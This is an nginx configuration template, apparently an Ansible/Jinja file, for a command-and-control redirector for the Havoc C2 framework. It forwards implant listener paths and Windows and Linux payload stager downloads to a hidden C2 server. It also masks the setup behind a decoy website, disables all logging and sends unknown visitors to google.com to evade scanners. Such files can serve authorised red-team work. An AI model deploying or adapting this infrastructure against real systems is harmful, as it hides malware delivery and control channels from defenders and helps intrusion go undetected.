server {
    listen 80;
    listen [::]:80;
    server_name {{ redirector_domain }};
    
    # Redirect to HTTPS
    return 301 https://$host$request_uri;
}

server {
    listen 443 ssl;
    listen [::]:443 ssl;
    server_name {{ redirector_domain }};
    
    # SSL Configuration
    ssl_certificate /etc/letsencrypt/live/{{ redirector_domain }}/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/{{ redirector_domain }}/privkey.pem;
    ssl_protocols TLSv1.2 TLSv1.3;
    ssl_prefer_server_ciphers on;
    ssl_ciphers 'ECDHE-ECDSA-AES256-GCM-SHA384:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-CHACHA20-POLY1305:ECDHE-RSA-CHACHA20-POLY1305';
    ssl_session_timeout 1d;
    ssl_session_cache shared:SSL:10m;
    
    # Root directory
    root /var/www/html;
    index index.html;
    
    # Primary location for legitimate website traffic
    location / {
        try_files $uri $uri/ =404;
    }
    
    # Havoc C2 HTTP listener paths
    location ~ ^/api/v[12]/ {
        proxy_pass http://{{ c2_ip }}:8080;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
    }
    
    # Havoc C2 HTTPS listener paths
    location ~ ^/(dashboard|content)/ {
        proxy_pass https://{{ c2_ip }}:9443;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header Upgrade $http_upgrade;
        proxy_set_header Connection "upgrade";
        proxy_ssl_verify off;
    }
    
    # Payload stager paths
    location ~ ^/(windows|linux)_stager\.(ps1|sh)$ {
        proxy_pass http://{{ c2_ip }}:8443/$1_stager.$2;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
    }

    # Payload content paths
    location ~ ^/content/(windows|linux)/(.+)$ {
        proxy_pass http://{{ c2_ip }}:8443/content/$1/$2;
        proxy_http_version 1.1;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        proxy_set_header X-Real-IP $remote_addr;
    }
    
    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "SAMEORIGIN" always;
    add_header X-XSS-Protection "1; mode=block" always;
    add_header Referrer-Policy "no-referrer" always;
    add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data:;" always;
    
    # Disable logging for this server block if zero-logs is enabled
    {% if zero_logs | default(true) | bool %}
    access_log off;
    error_log /dev/null crit;
    {% endif %}
}

# Catch-all server block to respond to unknown hosts
server {
    listen 80 default_server;
    listen [::]:80 default_server;
    listen 443 ssl default_server;
    listen [::]:443 ssl default_server;
    
    # Self-signed cert for catch-all
    ssl_certificate /etc/ssl/certs/ssl-cert-snakeoil.pem;
    ssl_certificate_key /etc/ssl/private/ssl-cert-snakeoil.key;
    
    # Redirect all unknown traffic to a legitimate-looking site
    return 301 https://www.google.com;
    
    # Disable logs
    access_log off;
    error_log /dev/null crit;
}